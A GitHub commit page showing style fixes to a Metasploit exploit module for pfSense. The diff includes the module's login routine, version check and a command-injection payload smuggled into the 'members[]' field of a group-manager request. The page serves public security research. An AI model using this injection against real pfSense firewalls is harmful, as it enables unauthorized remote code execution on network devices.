Skip to content

Commit dd8238d

Browse files
committed
rubocop got a donut
1 parent 579d012 commit dd8238d

File tree

1 file changed

+15
-15
lines changed

1 file changed

+15
-15
lines changed

modules/exploits/unix/http/pfsense_group_member_exec.rb

Lines changed: 15 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -67,8 +67,8 @@ def initialize(info = {})
6767
def login
6868
res = send_request_cgi(
6969
'uri' => '/index.php',
70-
'method' => 'GET',
71-
)
70+
'method' => 'GET'
71+
)
7272
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
7373
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
7474

@@ -87,7 +87,7 @@ def login
8787
}
8888
)
8989
unless res
90-
fail_with(Failure::UnexpectedReply, '#{peer} - Did not respond to authentication request')
90+
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
9191
end
9292
if res.code == 302
9393
vprint_status('Successful Authentication')
@@ -105,7 +105,7 @@ def detect_version(cookie)
105105
'cookie' => cookie
106106
)
107107
unless res
108-
fail_with(Failure::UnexpectedReply, '#{peer} - Did not respond to authentication request')
108+
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
109109
end
110110
/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
111111
if version
@@ -156,23 +156,23 @@ def exploit
156156

157157
group_name = rand_text_alpha(10)
158158
post_vars = {
159-
'__csrf_magic' => csrf,
160-
'groupname' => group_name,
161-
'description' => '',
162-
'members[]' => "0';#{payload.encoded};'",
163-
'groupid' => '',
164-
'save' => 'Save'
159+
'__csrf_magic' => csrf,
160+
'groupname' => group_name,
161+
'description' => '',
162+
'members[]' => "0';#{payload.encoded};'",
163+
'groupid' => '',
164+
'save' => 'Save'
165165
}
166166
if version >= Gem::Version.new('2.3')
167-
post_vars.merge({'gtype' => 'local'})
168-
elsif version <= Gem::Version.new('2.3') #catch for 2.2.6. left this elsif for easy expansion to other versions as needed
169-
post_vars.merge({
167+
post_vars = post_vars.merge('gtype' => 'local')
168+
elsif version <= Gem::Version.new('2.3') # catch for 2.2.6. left this elsif for easy expansion to other versions as needed
169+
post_vars = post_vars.merge(
170170
'act' => '',
171171
'gtype' => '',
172172
'privid' => ''
173-
})
173+
)
174174
end
175-
res = send_request_cgi(
175+
send_request_cgi(
176176
'uri' => '/system_groupmanager.php',
177177
'method' => 'POST',
178178
'cookie' => cookie,

0 commit comments

Comments
 (0)